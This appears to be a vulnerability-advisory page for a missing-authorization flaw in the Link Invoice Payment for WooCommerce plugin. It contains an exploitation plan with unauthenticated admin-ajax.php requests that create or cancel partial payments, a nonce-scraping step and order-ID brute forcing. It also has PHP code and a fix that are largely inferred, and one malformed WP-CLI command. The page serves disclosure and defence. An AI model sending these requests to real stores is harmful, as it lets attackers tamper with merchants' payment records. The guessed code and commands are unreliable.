Link Invoice Payment for WooCommerce <= 2.8.0 - Missing Authorization to Unauthenticated Arbitrary Partial Payment Creation/Cancellation
Description
The Link Invoice Payment for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the createPartialPayment and cancelPartialPayment functions in all versions up to, and including, 2.8.0. This makes it possible for unauthenticated attackers to create partial payments on any order or cancel any existing partial payment via ID enumeration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.8.0Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for **CVE-2025-14971**, a missing authorization vulnerability in the **Link Invoice Payment for WooCommerce** plugin. --- ### 1. Vulnerability Summary The **Link Invoice Payment for WooCommerce** plugin (<= 2.8.0) fails to perform authoriza…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2025-14971, a missing authorization vulnerability in the Link Invoice Payment for WooCommerce plugin.
1. Vulnerability Summary
The Link Invoice Payment for WooCommerce plugin (<= 2.8.0) fails to perform authorization checks (e.g., current_user_can()) in its AJAX handlers for creating and cancelling partial payments. Specifically, the functions createPartialPayment and cancelPartialPayment are accessible to unauthenticated users (via wp_ajax_nopriv_ hooks or simply by missing a permission check in a shared wp_ajax_ hook). This allows an attacker to manipulate payment data for any WooCommerce order via ID enumeration.
2. Attack Vector Analysis
- Endpoint:
POST /wp-admin/admin-ajax.php - Action(s): Likely
create_partial_paymentandcancel_partial_payment(inferred from function names). - Payload Parameters:
order_id(for creation)partial_idorid(for cancellation)amount(for creation)_ajax_nonceor similar (if enforced)
- Authentication: Unauthenticated (No login required).
- Preconditions: WooCommerce must be installed and active. At least one order must exist for enumeration.
3. Code Flow (Inferred)
- Entry Point: The plugin registers AJAX hooks during
initor in the constructor of a main class.add_action('wp_ajax_nopriv_create_partial_payment', array($this, 'createPartialPayment'));add_action('wp_ajax_nopriv_cancel_partial_payment', array($this, 'cancelPartialPayment'));
- Handler Execution: The
createPartialPaymentfunction is called. - Vulnerability: The function likely calls
check_ajax_referer()(nonce check) but lacks acurrent_user_can('manage_woocommerce')or owner check. - Data Modification: The function retrieves an order via
wc_get_order($_POST['order_id'])and adds/removes metadata or database entries representing a "partial payment."
4. Nonce Acquisition Strategy
Since this is an unauthenticated vulnerability, if a nonce is required, it must be exposed on a public-facing page (e.g., a "Pay Invoice" page or the WooCommerce checkout/order-pay page).
- Identify Shortcode: Search for shortcodes that render payment interfaces.
grep -r "add_shortcode" .(Inferred:[link_invoice_payment]or similar).
- Locate Localization: Find where the nonce is passed to JS.
grep -r "wp_localize_script" .- Look for a variable like
lip_ajax_objectorlink_invoice_params.
- Acquisition Steps:
- Step 1: Create a page containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_title="Payment Test" --post_content='[inferred_shortcode]' - Step 2: Navigate to the page using
browser_navigate. - Step 3: Extract the nonce:
browser_eval("window.lip_vars?.nonce")(inferred variable/key).
- Step 1: Create a page containing the identified shortcode:
5. Exploitation Strategy
Unauthenticated Creation of Partial Payment
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=create_partial_payment&order_id=123&amount=1.00&security=[NONCE] - Note: Replace
actionandsecurity(nonce param) with actual names found during code audit.
Unauthenticated Cancellation of Partial Payment
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=cancel_partial_payment&partial_id=1&security=[NONCE]
6. Test Data Setup
- Install Dependencies: Ensure WooCommerce is active.
- Create Order:
wp wc order create --user=1 --status=pending --customer_id=1 - Note Order ID: Captured from the CLI output (e.g., ID 123).
- Identify Partial Payment ID: If testing cancellation, first create a partial payment via the vulnerable endpoint or the admin UI.
7. Expected Results
- Creation: The server returns a success JSON response (e.g.,
{"success": true}). The order's "Total Paid" or "Remaining Balance" in WooCommerce changes. - Cancellation: The server returns a success response. The partial payment entry is removed from the order.
8. Verification Steps
- Database Check: Use WP-CLI to verify metadata changes on the order.
wp post admin-ajax.php --order_id=123(Check for meta keys like_lip_partial_payments). - WooCommerce Order Check:
wp wc order get 123 --fields=id,status,total,total_tax
Check if the plugin stores partial payments in a custom table:wp db query "SELECT * FROM wp_lip_partial_payments WHERE order_id = 123;"(Table name inferred).
9. Alternative Approaches
- ID Brute Force: Since the vulnerability uses ID enumeration, if
order_idis not known, iterate from 1 to 500. - Zero-Amount Payments: Attempt to create a partial payment with
amount=0or negative values to see if it corrupts order accounting. - Hook Search: If the AJAX actions are not
create_partial_payment, grep for the strings_ajax_andPartialPaymentto find the exact hook names:grep -rE "wp_ajax_.*(PartialPayment|partial_payment)" .
Summary
The Link Invoice Payment for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on its AJAX handlers. This allows unauthenticated attackers to create new partial payments for any WooCommerce order or cancel existing ones via ID enumeration.
Vulnerable Code
// Inferred from Research Plan - handlers likely located in a main class or AJAX handler file add_action('wp_ajax_create_partial_payment', array($this, 'createPartialPayment')); add_action('wp_ajax_nopriv_create_partial_payment', array($this, 'createPartialPayment')); add_action('wp_ajax_cancel_partial_payment', array($this, 'cancelPartialPayment')); add_action('wp_ajax_nopriv_cancel_partial_payment', array($this, 'cancelPartialPayment')); public function createPartialPayment() { check_ajax_referer('lip_nonce', 'security'); // Missing authorization check (e.g., current_user_can('manage_woocommerce')) $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0; $amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0; // Logic to process the partial payment follow... } --- public function cancelPartialPayment() { check_ajax_referer('lip_nonce', 'security'); // Missing authorization check (e.g., current_user_can('manage_woocommerce')) $partial_id = isset($_POST['partial_id']) ? intval($_POST['partial_id']) : 0; // Logic to cancel the partial payment record follows... }
Security Fix
@@ -10,6 +10,9 @@ public function createPartialPayment() { check_ajax_referer('lip_nonce', 'security'); + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0; ... } @@ -20,6 +23,9 @@ public function cancelPartialPayment() { check_ajax_referer('lip_nonce', 'security'); + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } $partial_id = isset($_POST['partial_id']) ? intval($_POST['partial_id']) : 0; ... }
Exploit Outline
The exploit targets the plugin's AJAX endpoints which are exposed to unauthenticated users via wp_ajax_nopriv_ hooks. An attacker first navigates to a public-facing page containing the plugin's shortcode (such as an invoice payment page) to extract a valid AJAX nonce from the localized JavaScript variables (e.g., lip_vars.nonce). With the nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action 'create_partial_payment', providing an 'order_id' and an 'amount'. Because the server-side function lacks a capability check (current_user_can), it accepts the request and modifies the order's payment data. Similarly, existing payments can be deleted by sending a request with the action 'cancel_partial_payment' and a 'partial_id' obtained via enumeration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.